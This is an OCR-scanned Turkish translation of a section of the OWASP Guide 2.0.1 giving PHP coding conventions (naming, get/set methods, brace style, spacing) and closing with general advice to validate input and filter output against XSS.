Bu public ve private degiskenlerini birbirinden ayirmanin bir yoludur. Ama bu
diger dillerde oldugu kadar bir problem teskil etmez ¢iinkii PHP’de private
degiskenlere $this-> isaret¢isi ile ulagilir.

(Duruma gore) Biitiin isimler Ingilizce olarak yazilmahdir.
$iRowId // Bdyle degil : $iRadId (Swedish)
Ingilizce uluslararas1 gelistirme igin tercih edilen dildir. Bu eklenecek yorumlar

icin de gegerlidir.
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Genis kapsamh degiskenler uzun isimlendirilmelidir, kiiciik kapsamh
degiskenler kisa isimlere sahip olabilirler

En iyisi ge¢ici degiskenlerin kisa tutulmasidir. Bu sekildeki degiskenleri okuyan
herhangi biri bu degiskenlerin degerlerinin bir kag¢ satir kod diginda
kullanilmayacagim varsayabilmelidir. Yaygin olarak kullanilan degiskenler $i, $j, $k,
$m ve $n’dir. Bu degiskenlerin kiiciik kapsamlari oldugundan 6n ek kullanmak isleri
biraz zorlastirir.

Nesne isimleri ortiilii olup, metod isimlerinde kullanimlari engellenmelidir.
$session->getId() // Bdyle dedil: $session->getSessionId()

Sonraki kullanim, sinif tanimi yazilirken daha dogal gelebilir ama yukaridaki
ornekte goriildiigii gibi ortiilii olarak kullanilir.

Bir nitelik direk olarak erisilmek istendiginde get/set terimleri
kullaniimalidir.
Suser—>getName () ;
$user->setName ($sName) ;

Bu durum C++ ve Java gibi dillerde ¢oktan yaygin bir kullanim sekli olmustur.

Kisaltmalar engellenmelidir.

$session->initialize();

// Boyle degil:

$session->init();

$thread->computePosts();

/] Boyle degil:

$thread->compPosts();

Bu kural i¢in bir istisna vardir ve o da kisa halleri ile daha iyi anlagilan HTML,

CPU v.b. gibi terimlerdir.
Sézdizimi (syntax)

Fonksiyon ve sinif tanimlamalari
function doSomething/()
{
/.
}

// Bdyle dedil:
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function doSomething () {

VA

Ayni durum siif tanimlamalari i¢in de gegerlidir.

Komutlar (ifadeler) ve kivrimh parantezler

if ( $bIsActive )

{

}
// Bdyle dedil:

if ( $bIsActive ) {

[k parantez her zaman komuttan sonra gelen satirda olmalidir komutla ayni
satirda degil. Kod bu sekilde daha okunabilir olur. Bu durum for, switch, while v.b.

icin de gegerlidir.

Komutlar (ifadeler) ve bosluklar

if ( $sName == 'John' )

{

/..

}

// Bbyle degil:

if ($sName=='John') {
/]

}

Ozet

Denetle, denetle ve denetle! Kurcalanmadigina yiizde yiiz emin olmadiginmz
herhangi bir kaynaktan gelen hi¢ bir girdiye giivenmeyin. Bu, GET, POST ve
COOKIE’den oldugu kadar global kapsamdaki degiskenleri de kapsar. Bazen

kullanict girdilerinden olusturulduysa veritabani verilerine bile giivenilmez.
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Tarayiciya hi¢ bir zaman filtrelenmemis ¢iktiy1 gondermeyin aksi durumda o veya bu

sekilde XSS saldirilarina maruz kalirsiniz.

Dokiimanin Ash : OWASP GUIDE 2.0.1

Ceviri : Bedirhan Urgun - bedirhan@webguvenligi.org



